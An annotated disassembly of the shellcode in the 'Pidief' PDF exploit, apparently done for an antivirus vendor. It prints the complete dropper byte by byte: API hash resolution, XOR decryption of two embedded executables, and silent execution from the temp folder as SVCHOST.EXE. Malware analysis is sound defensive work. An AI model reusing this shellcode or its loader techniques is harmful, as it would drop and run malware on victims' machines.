; Pidief PDF-Exploit ; reverse engineering done by Peter Kleissner ; initial reverse engineering done by a friend of a friend of Kleissner ; for Ikarus Security Software ..and Fun 'n' Profit ; www.viennacomputerproducts.com/reverseengineering Shell Code: ; [junk code] - "JBIA" 00000000 4A dec edx 00000001 42 inc edx 00000002 49 dec ecx 00000003 41 inc ecx ; create data on stack (284 bytes) 00000004 81EC20010000 sub esp,288 0000000A 8BFC mov edi,esp 0000000C 83C704 add edi,4 ; edi is a pointer to the new allocated data ; store the hashes of Windows API functions for later usage 0000000F C7073274910C mov dword [edi],0xc917432 ; Kernel32!LoadLibraryA 00000015 C747048E130AAC mov dword [edi+0x4],0xac0a138e ; Kernel32!GetFileSize 0000001C C7470839E27D83 mov dword [edi+0x8],0x837de239 ; Kernel32!GetTempPathA 00000023 C7470C8FF21861 mov dword [edi+0xc],0x6118f28f ; Kernel32!TerminateProcess 0000002A C747109332E494 mov dword [edi+0x10],0x94e43293 ; Kernel32!CreateFileA 00000031 C74714A932E494 mov dword [edi+0x14],0x94e432a9 ; Kernel32!CreateFileW 00000038 C7471843BEACDB mov dword [edi+0x18],0xdbacbe43 ; Kernel32!SetFilePointer 0000003F C7471CB2360F13 mov dword [edi+0x1c],0x130f36b2 ; Kernel32!ReadFile 00000046 C74720C48D1F74 mov dword [edi+0x20],0x741f8dc4 ; Kernel32!WriteFile 0000004D C74724512FA201 mov dword [edi+0x24],0x1a22f51 ; Kernel32!WinExec 00000054 C7472857660DFF mov dword [edi+0x28],0xff0d6657 ; Kernel32!CloseHandle 0000005B C7472C9B878BE5 mov dword [edi+0x2c],0xe58b879b ; Kernel32!GetCommandLineA 00000062 C74730EDAFFFB4 mov dword [edi+0x30],0xb4ffafed ; Kernel32!GetModuleFileNameA ; call the code following this instruction 00000069 E997020000 jmp dword Execute_Function Execute_Shellcode: ; Arguments: ; edi = pointer to the data/code stored on stack 0000006E 64A130000000 mov eax,[fs:0x30] ; get a pointer to the Process Environment Block 00000074 8B400C mov eax,[eax+12] ; get a pointer to PEB_LDR_DATA structure ; => http://undocumented.ntinternals.net/UserMode/Undocumented%20Functions/NT%20Objects/Process/PEB.html ; http://undocumented.ntinternals.net/UserMode/Structures/PEB_LDR_DATA.html ; http://undocumented.ntinternals.net/UserMode/Structures/LDR_MODULE.html ; http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx 00000077 8B701C mov esi,[eax+28] ; -> PEB_LDR_DATA.InInitializationOrderModuleList.LDR_DATA_TABLE_ENTRY/LDR_MODULE (UNDOCUMENTED) 0000007A AD lodsd ; double linked list, Forward link, to LDR_DATA_TABLE_ENTRY / LDR_MODULE structure (UNDOCUMENTED) 0000007B 8B6808 mov ebp,[eax+8] ; DllBase (Module Base Address) (UNDOCUMENTED) ; **** NOTE THIS STRUCTURE CHANGES FROM SYSTEM TO SYSTEM, WILL FAIL ON VISTA ; resolve the 13 function hashes 0000007E 8BF7 mov esi,edi ; esi points to the first hash to resolve 00000080 6A0D push byte 13 ; loop 13 times 00000082 59 pop ecx ; ecx is counter Resolve_Hashes: 00000083 E838020000 call dword ResolveImportsByHashes 00000088 E2F9 loop Resolve_Hashes 0000008A 8BEE mov ebp,esi ; set ebp to the allocated stack memory 0000008C 8B4530 mov eax,[ebp+0x30] ; Kernel32!GetModuleFileNameA 0000008F 894550 mov [ebp+0x50],eax ; store address (why not??) - obfuscation stuff ; allocate another data on stack 00000092 81EC00040000 sub esp,0x400 ; again, create 1024 byte buffer on stack 00000098 8BF4 mov esi,esp 0000009A 83C604 add esi,4 ; brute force file handle to the pdf by comparing the file sizes 0000009D 33C0 xor eax,eax 0000009F 894530 mov [ebp+0x30],eax ; ebp+30h will hold actual FileHandle (later used) 000000A2 8B7D5C mov edi,[ebp+0x5c] ; junk code Next_File_Handle: ; Kernel32!GetFileSize(FileHandle +4, NULL); 000000A5 83453004 add [ebp+0x30],dword 4 ; next file handle (internally file handles are pointers..) 000000A9 6A00 push dword 0 ; lpFileSizeHigh 000000AB FF7530 push dword [ebp+0x30] ; FileHandle 000000AE FF5504 call dword near [ebp+4] ; call Kernel32!GetFileSize 000000B1 83F8FF cmp eax,-1 ; INVALID HANDLE VALUE? 000000B4 74EF jz Next_File_Handle 000000B6 3DEC9E0C00 cmp eax,827116 ; original PDF file size? 000000BB 75E8 jnz Next_File_Handle ; **** ERROR ; ALSO this is an endless loop if the file size is different! => would crash your system ; Kernel32!GetTempPathA(Stack Buffer, 256 bytes); 000000BD 8BFE mov edi,esi 000000BF 57 push edi ; result buffer, will write the temp path string there 000000C0 6800010000 push dword 0x100 ; buffer length is 256 bytes ; **** PROGRAMMING ERROR ! WINDOWS DEFINES MAX_PATH AS 260, 4 ("C:\", 0) + 256 (file name) 000000C5 FF5508 call dword near [ebp+8] ; call Kernel32!GetTempPathA ; strlen(TempPath); 000000C8 33C0 xor eax,eax Next_Character: 000000CA 40 inc eax ; next character 000000CB 803C0700 cmp [edi+eax],byte 0 ; zero terminator? 000000CF 75F9 jnz Next_Character ; **** THIS COULD BE DONE MUCH FASTER BY "repne scasb" 000000D1 894560 mov [ebp+0x60],eax ; write string length into variable ; append "\SVCHOST.EXE" to the temp path (resulting into "C:\Windows\Temp\SVCHOST.EXE") 000000D4 C704075C535643 mov dword [edi+eax],0x4356535c ; \SVC 000000DB C7440704484F5354 mov dword [edi+eax+0x4],0x54534f48 ; HOST 000000E3 C74407082E455845 mov dword [edi+eax+0x8],0x4558452e ; .EXE 000000EB C644070C00 mov byte [edi+eax+0xc],0x0 ; null terminator ; Kernel32!CreateFileA("C:\Windows\Temp\SVCHOST.EXE", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL); 000000F0 6A00 push byte +0x0 ; hTemplateFile = NULL 000000F2 6A00 push byte +0x0 ; dwFlagsAndAttributes 000000F4 6A02 push byte +0x2 ; dwCreationDisposition = CREATE_ALWAYS 000000F6 6A00 push byte +0x0 ; lpSecurityAttributes = NULL 000000F8 6A00 push byte +0x0 ; dwShareMode = exclusive 000000FA 6800000040 push dword 0x40000000 ; dwDesiredAccess = GENERIC_WRITE 000000FF 57 push edi ; the name of the file 00000100 FF5510 call dword near [ebp+0x10] ; call Kernel32!CreateFileA 00000103 83F800 cmp eax,byte +0x0 ; invalid file handle? 00000106 0F8EAB010000 jng dword Exit_Shellcode ; if < 0 (= INVALID_HANDLE_VALUE) exit 0000010C 894534 mov [ebp+0x34],eax ; store file handle ; create buffer for the stream 0000010F C7454000000000 mov dword [ebp+0x40],0x0 ; variable for NumberOfBytesRead 00000116 8BDE mov ebx,esi 00000118 81C300010000 add ebx,0x100 ; create the next buffer where memory will be read ; Kernel32!SetFilePointer(PDF File Handle, File Position = where the string is, NULL, FILE_BEGIN); 0000011E 6A00 push byte +0x0 ; dwMoveMethod = FILE_BEGIN 00000120 6A00 push byte +0x0 ; lpDistanceToMoveHigh = NULL 00000122 68D09F0200 push dword 171984 ; start of "AAI AMOS 11-02-09 t xxxxxxx.." 00000127 8B4530 mov eax,[ebp+0x30] ; get the handle 0000012A 50 push eax ; handle of PDF file 0000012B FF5518 call dword near [ebp+0x18] ; call Kernel32!SetFilePointer ; Kernel32!ReadFile(PDF File Handle, Buffer, 48 Bytes, &NumberOfBytesRead, NULL); 0000012E 6A00 push byte +0x0 ; lpOverlapped = NULL 00000130 8D4540 lea eax,[ebp+0x40] 00000133 50 push eax ; lpNumberOfBytesRead 00000134 6A30 push byte +0x30 ; nNumberOfBytesToRead = 48 00000136 53 push ebx ; buffer 00000137 FF7530 push dword [ebp+0x30] ; handle of PDF file 0000013A FF551C call dword near [ebp+0x1c] ; call Kernel32!ReadFile 0000013D 899D80000000 mov [ebp+0x80],ebx ; store Buffer pointer -later used 00000143 8B4328 mov eax,[ebx+0x28] ; next-to-last dword of read buffer = 0004B0C8 FILE SIZE 00000146 894558 mov [ebp+0x58],eax ; store it 00000149 8B432C mov eax,[ebx+0x2c] ; last dword of read buffer = 000347FC FILE POSITION 0000014C 894554 mov [ebp+0x54],eax ; store it 0000014F 0500A00200 add eax,0x2a000 ; -> 5E7FC 00000154 0500B00000 add eax,0xb000 ; -> 697FC = File Position ; Kernel32!SetFilePointer(PDF File Handle, File Position, NULL, FILE_BEGIN); 00000159 6A00 push byte +0x0 ; dwMoveMethod = FILE_BEGIN 0000015B 6A00 push byte +0x0 ; lpDistanceToMoveHigh = NULL 0000015D 50 push eax ; File Position 0000015E 8B4530 mov eax,[ebp+0x30] ; get the handle 00000161 50 push eax ; handle of PDF file 00000162 FF5518 call dword near [ebp+0x18] ; call Kernel32!SetFilePointer 00000165 C7454000000000 mov dword [ebp+0x40],0x0 0000016C C7454400000000 mov dword [ebp+0x44],0x0 00000173 81EE00050000 sub esi,0x500 ; again new buffer (1280 bytes) 00000179 33DB xor ebx,ebx 0000017B 8B5D58 mov ebx,[ebp+0x58] ; ebx = next-to-last ; a loop: ; 1. Read 1024 bytes ; 2. Write 1024 bytes Read_First_File: ; Kernel32!ReadFile(PDF File Handle, Buffer, 1024 Bytes, &NumberOfBytesRead, NULL); 0000017E 6A00 push byte +0x0 ; lpOverlapped = NULL 00000180 8D4540 lea eax,[ebp+0x40] 00000183 50 push eax ; lpNumberOfBytesRead 00000184 6800040000 push dword 0x400 ; nNumberOfBytesToRead = 1024 00000189 56 push esi ; buffer 0000018A FF7530 push dword [ebp+0x30] ; handle of PDF file 0000018D FF551C call dword near [ebp+0x1c] ; call Kernel32!ReadFile ; decrypt the read buffer (1024 bytes!) 00000190 33C9 xor ecx,ecx 00000192 B900040000 mov ecx,0x400 ; 1024 bytes to decrypt Decrypt_loop: 00000197 80740EFF97 xor byte [esi+ecx-0x1],0x97 ; => decrypt the buffer with 97h 0000019C E2F9 loop Decrypt_loop 0000019E 8BC3 mov eax,ebx ; next-to-last value from buffer (0004B0C8) 000001A0 2D00040000 sub eax,0x400 ; -> 4ACC8 000001A5 83F800 cmp eax,byte +0x0 ; everything read? 000001A8 7F03 jg Write_First_File 000001AA 895D40 mov [ebp+0x40],ebx ; use the deficit -> set variable NumberOfBytesRead Write_First_File: ; Kernel32!WriteFile(PDF File Handle, Read File Buffer, 1024 Bytes, &NumberOfBytesWritten, NULL); 000001AD 6A00 push byte +0x0 ; lpOverlapped = NULL 000001AF 8D4544 lea eax,[ebp+0x44] 000001B2 50 push eax ; lpNumberOfBytesWritten 000001B3 FF7540 push dword [ebp+0x40] ; nNumberOfBytesToWrite = NumberOfBytesRead 000001B6 56 push esi ; lpBuffer = read buffer 000001B7 FF7534 push dword [ebp+0x34] ; handle of created file 000001BA FF5520 call dword near [ebp+0x20] ; call Kernel32!WriteFile 000001BD 81EB00040000 sub ebx,0x400 ; 1024 bytes written 000001C3 83FB00 cmp ebx,byte +0x0 ; everything read? 000001C6 7FB6 jg Read_First_File ; if not go on reading ; Kernel32!CloseHandle(Created File); 000001C8 FF7534 push dword [ebp+0x34] ; File Handle of created file 000001CB FF5528 call dword near [ebp+0x28] ; call Kernel32!CloseHandle ; Kernel32!WinExec(Created File Name, 0); 000001CE 6A00 push byte +0x0 ; uCmdShow = display options, 0 000001D0 57 push edi ; lpCmdLine = name of the created file 000001D1 FF5524 call dword near [ebp+0x24] ; call Kernel32!WinExec ; strcat(Temp Path, "\temp.exe"); 000001D4 8B4560 mov eax,[ebp+0x60] ; string length of Temp Path (edi points to temp path) 000001D7 C704075C74656D mov dword [edi+eax],0x6d65745c ; \tem 000001DE C7440704702E6578 mov dword [edi+eax+0x4],0x78652e70 ; p.ex 000001E6 C744070865000000 mov dword [edi+eax+0x8],0x65 ; e ; Kernel32!CreateFileA(Second File Name, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL); 000001EE 6A00 push byte +0x0 ; hTemplateFile = NULL 000001F0 6A00 push byte +0x0 ; dwFlagsAndAttributes 000001F2 6A02 push byte +0x2 ; dwCreationDisposition = CREATE_ALWAYS 000001F4 6A00 push byte +0x0 ; lpSecurityAttributes = NULL 000001F6 6A00 push byte +0x0 ; dwShareMode = exclusive 000001F8 6800000040 push dword 0x40000000 ; dwDesiredAccess = GENERIC_WRITE 000001FD 57 push edi ; the name of the file 000001FE FF5510 call dword near [ebp+0x10] ; call Kernel32!CreateFileA 00000201 83F800 cmp eax,byte +0x0 ; invalid file handle? 00000204 0F8EAD000000 jng dword Exit_Shellcode ; if < 0 (= INVALID_HANDLE_VALUE) exit 0000020A 894534 mov [ebp+0x34],eax ; store file handle ; Kernel32!SetFilePointer(PDF File Handle, File Position = somewhere in the file, NULL, FILE_BEGIN); 0000020D 6A00 push byte +0x0 ; dwMoveMethod = FILE_BEGIN 0000020F 6A00 push byte +0x0 ; lpDistanceToMoveHigh = NULL 00000211 6800A00200 push dword 172032 ; somewhere in the file 00000216 8B4530 mov eax,[ebp+0x30] 00000219 50 push eax ; handle of PDF file 0000021A FF5518 call dword near [ebp+0x18] ; call Kernel32!SetFilePointer 0000021D C7454000000000 mov dword [ebp+0x40],0x0 00000224 C7454400000000 mov dword [ebp+0x44],0x0 0000022B 33DB xor ebx,ebx 0000022D 8B5D54 mov ebx,[ebp+0x54] 00000230 81C300B00000 add ebx,0xb000 Read_Second_File: ; Kernel32!ReadFile(PDF File Handle, Buffer, 1024 Bytes, &NumberOfBytesRead, NULL); 00000236 6A00 push byte +0x0 ; lpOverlapped = NULL 00000238 8D4540 lea eax,[ebp+0x40] 0000023B 50 push eax ; lpNumberOfBytesRead 0000023C 6800040000 push dword 0x400 ; nNumberOfBytesToRead = 1024 00000241 56 push esi ; buffer (same as used for first file) 00000242 FF7530 push dword [ebp+0x30] ; handle of PDF file 00000245 FF551C call dword near [ebp+0x1c] ; call Kernel32!ReadFile 00000248 33C9 xor ecx,ecx ; junk code 0000024A B900040000 mov ecx,0x400 ; 1024 bytes to decrypt Decrypt_Second_File_loop: 0000024F 80740EFFA0 xor byte [esi+ecx-0x1],0xa0 ; => decrypt the second file with A0h 00000254 E2F9 loop Decrypt_Second_File_loop 00000256 8BC3 mov eax,ebx 00000258 2D00040000 sub eax,0x400 ; 1024 bytes read 0000025D 83F800 cmp eax,byte +0x0 00000260 7F03 jg Write_Second_File 00000262 895D40 mov [ebp+0x40],ebx Write_Second_File: ; Kernel32!WriteFile(PDF File Handle, Read File Buffer, 1024 Bytes, &NumberOfBytesWritten, NULL); 00000265 6A00 push byte +0x0 ; lpOverlapped = NULL 00000267 8D4544 lea eax,[ebp+0x44] 0000026A 50 push eax ; lpNumberOfBytesWritten 0000026B FF7540 push dword [ebp+0x40] ; nNumberOfBytesToWrite = NumberOfBytesRead 0000026E 56 push esi ; lpBuffer = read buffer 0000026F FF7534 push dword [ebp+0x34] ; handle of created file 00000272 FF5520 call dword near [ebp+0x20] ; call Kernel32!WriteFile 00000275 81EB00040000 sub ebx,0x400 ; 1024 bytes written 0000027B 83FB00 cmp ebx,byte +0x0 ; everything read? 0000027E 7FB6 jg Read_Second_File ; if not go on reading ; Kernel32!SetFilePointer(Created File Handle, File Position = 9000h, NULL, FILE_BEGIN); 00000280 6A00 push byte +0x0 ; dwMoveMethod = FILE_BEGIN 00000282 6A00 push byte +0x0 ; lpDistanceToMoveHigh = NULL 00000284 6800900000 push dword 0x9000 ; 36864 Offset 00000289 8B4534 mov eax,[ebp+0x34] 0000028C 50 push eax ; handle of created file 0000028D FF5518 call dword near [ebp+0x18] ; call Kernel32!SetFilePointer ; Kernel32!WriteFile(PDF File Handle, previously read configuration buffer, 40 Bytes, &NumberOfBytesWritten, NULL); 00000290 8B8580000000 mov eax,[ebp+0x80] ; write down buffer (30 bytes at 171984 offset in the PDF file) 00000296 6A00 push byte +0x0 ; lpOverlapped = NULL 00000298 8D4D44 lea ecx,[ebp+0x44] 0000029B 51 push ecx ; lpNumberOfBytesWritten 0000029C 6A28 push byte +0x28 ; nNumberOfBytesToWrite = 40 0000029E 50 push eax 0000029F FF7534 push dword [ebp+0x34] ; handle of created file 000002A2 FF5520 call dword near [ebp+0x20] ; call Kernel32!WriteFile ; Kernel32!CloseHandle(Created File); 000002A5 FF7534 push dword [ebp+0x34] ; File Handle of second created file 000002A8 FF5528 call dword near [ebp+0x28] ; call Kernel32!CloseHandle ; Kernel32!WinExec(Created Second File Name, 0); 000002AB 6A00 push byte +0x0 ; uCmdShow = display options, 0 000002AD 57 push edi ; lpCmdLine = name of the created file 000002AE FF5524 call dword near [ebp+0x24] ; call Kernel32!WinExec ; Kernel32!CloseHandle(Created File); 000002B1 FF7530 push dword [ebp+0x30] ; PDF File Handle 000002B4 FF5528 call dword near [ebp+0x28] ; call Kernel32!CloseHandle Exit_Shellcode: ; Kernel32!GetFileSize - why ever | it seems like this must be GetCurrentProcess ; **** ERROR This will result into system crash 000002B7 FF5504 call dword near [ebp+0x4] ; call Kernel32!GetFileSize, why? ; Kernel32!TerminateProcess(Current Process, Exit Code = 0); 000002BA 6A00 push dword 0 ; uExitCode = 0 000002BC 50 push eax ; hProcess = current process 000002BD FF550C call [ebp+12] ; call Kernel32!TerminateProcess ResolveImportsByHashes: ; resolves function hashes ; ebp = Module Address ; edi = pointer to hash to resolve and exchange with functions address ; store register contents 000002C0 51 push ecx 000002C1 56 push esi 000002C2 8B753C mov esi,[ebp+0x3C] ; -> PE Header (skip DOS Header) 000002C5 8B742E78 mov esi,[esi+ebp+0x78] ; Export Table Virtual Address 000002C9 03F5 add esi,ebp ; (absolute address) 000002CB 56 push esi ; store address of Export Directory Table 000002CC 8B7620 mov esi,[esi+0x20] ; Name Pointer RVA (list of all functions) 000002CF 03F5 add esi,ebp ; (absolute address) 000002D1 33C9 xor ecx,ecx 000002D3 49 dec ecx ; ecx is name counter Function_Name_loop: 000002D4 41 inc ecx ; -> next function name 000002D5 AD lodsd ; get the address of the function name 000002D6 03C5 add eax,ebp ; (absolute address) 000002D8 33DB xor ebx,ebx ; reset next hash to generate Generate_Hash_of_Function_Name: 000002DA 0FBE10 movsx edx,byte [eax] ; load next character 000002DD 3AD6 cmp dl,dh ; zero terminator? 000002DF 7408 jz Generated_Hash 000002E1 C1CB07 ror ebx,7 ; => this is hash generating algorithm hash += char >> 7 000002E4 03DA add ebx,edx ; (add the shifted character to generating hash) 000002E6 40 inc eax ; -> next character 000002E7 EBF1 jmp short Generate_Hash_of_Function_Name ; **** ERROR This loop will result in an infinite loop and crashing your system if the input dll does not contain the function Generated_Hash: 000002E9 3B1F cmp ebx,[edi] ; matches the input hash with generated one? 000002EB 75E7 jnz Function_Name_loop ; if not compare against next function 000002ED 5E pop esi ; restore address of Export Directory Table 000002EE 8B5E24 mov ebx,[esi+0x24] ; Ordinal Table 000002F1 03DD add ebx,ebp ; (absolute address) 000002F3 668B0C4B mov cx,[ebx+ecx*2] ; look up the function in the Ordinal Table to get the ordinal number 000002F7 8B5E1C mov ebx,[esi+0x1c] ; Export Address Table 000002FA 03DD add ebx,ebp ; (absolute address) 000002FC 8B048B mov eax,[ebx+ecx*4] ; -> look up the Address of the function (ordinal number in EAT) 000002FF 03C5 add eax,ebp ; (absolute address) 00000301 AB stosd ; overwrite the input hash with the address ; restore register contents 00000302 5E pop esi 00000303 59 pop ecx 00000304 C3 ret Execute_Function: 00000305 E864FDFFFF call Execute_Shellcode ; just for obfuscation, this will never return